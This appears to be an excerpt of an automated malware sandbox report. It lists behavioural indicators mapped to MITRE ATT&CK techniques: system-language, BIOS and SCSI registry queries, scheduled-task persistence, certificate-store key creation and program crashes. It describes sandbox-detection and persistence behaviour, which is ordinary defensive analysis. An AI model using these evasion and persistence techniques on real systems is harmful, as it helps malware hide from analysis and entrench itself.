Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	Process not Found
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	Process not Found
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	Process not Found
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

Program crash 37 IoCs

pid	pid_target	Process	procid_target
7092	8004	WerFault.exe	440
8792	5800	WerFault.exe	231
552	5240	WerFault.exe	673
840	9172	WerFault.exe	683
6440	2788	WerFault.exe	684
7800	8364	WerFault.exe	685
8500	1704	WerFault.exe	667
7288	1352	WerFault.exe	200
8516	1828	WerFault.exe	232
8912	7920	WerFault.exe	941
840	8568	WerFault.exe	976
7356	9068	WerFault.exe	1213
8844	60	WerFault.exe	1210
6044	7620	WerFault.exe	1212
7220	5280	WerFault.exe	1214
10572	8292	WerFault.exe	980
11160	5960	WerFault.exe	1361
11184	2336	WerFault.exe	974
10512	880	WerFault.exe	198
10944	7772	WerFault.exe	1526
6900	10852	WerFault.exe	1524
6344	7128	WerFault.exe	1530
6368	6152	WerFault.exe	1532
11184	436	WerFault.exe	1529
8680	6556	Process not Found	1550
6780	980	Process not Found	1575
8092	7536	WerFault.exe	823
10788	8092	Process not Found	1614
7404	7308	Process not Found	1608
10464	11008	Process not Found	1671
8940	1572	Process not Found	1835
9916	5116	Process not Found	1062
12052	4544	Process not Found	234
7104	3752	Process not Found	205
1692	3732	Process not Found	1899
9508	8688	Process not Found	1064
6336	8452	Process not Found	902

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Portmaster.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Portmaster.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Portmaster.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Portmaster.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Portmaster.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Portmaster.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Portmaster.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Portmaster.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Portmaster.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
6804	msedge.exe

Checks SCSI registry key(s) 3 TTPs 54 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	Process not Found
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	dwm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags	dwm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	Process not Found
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	dwm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID	dwm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags	Process not Found
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID	dwm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	dwm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID	dwm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	dwm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	dwm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	Process not Found
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	dwm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	dwm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags	Process not Found
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	Process not Found
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID	Process not Found
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	dwm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID	dwm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	dwm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	dwm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID	dwm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	Process not Found
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID	Process not Found

Enumerates system info in registry 2 TTPs 21 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dwm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dwm.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	dwm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dwm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	dwm.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	dwm.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	dwm.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	dwm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dwm.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	dwm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dwm.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dwm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	dwm.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Process not Found
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	Process not Found
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	dwm.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	Process not Found
Key created	\REGISTRY\USER\.DEFAULT\Software	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	Process not Found
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	Process not Found
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	Process not Found
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies	Process not Found
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	Process not Found
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	Process not Found
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft	Process not Found
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	Process not Found
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E	Process not Found
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft	Process not Found
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	Process not Found
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache	Process not Found
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	Process not Found
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27\52C64B7E	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	dwm.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 35 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1332	schtasks.exe
4876	schtasks.exe
1040	schtasks.exe
2220	schtasks.exe
6904	schtasks.exe
5028	schtasks.exe
2332	schtasks.exe
6940	Process not Found
10940	Process not Found
3824	schtasks.exe
2740	schtasks.exe
7180	schtasks.exe
7524	schtasks.exe
3556	schtasks.exe
8368	schtasks.exe
2484	schtasks.exe
5888	schtasks.exe
10224	schtasks.exe
9796	schtasks.exe
9792	Process not Found
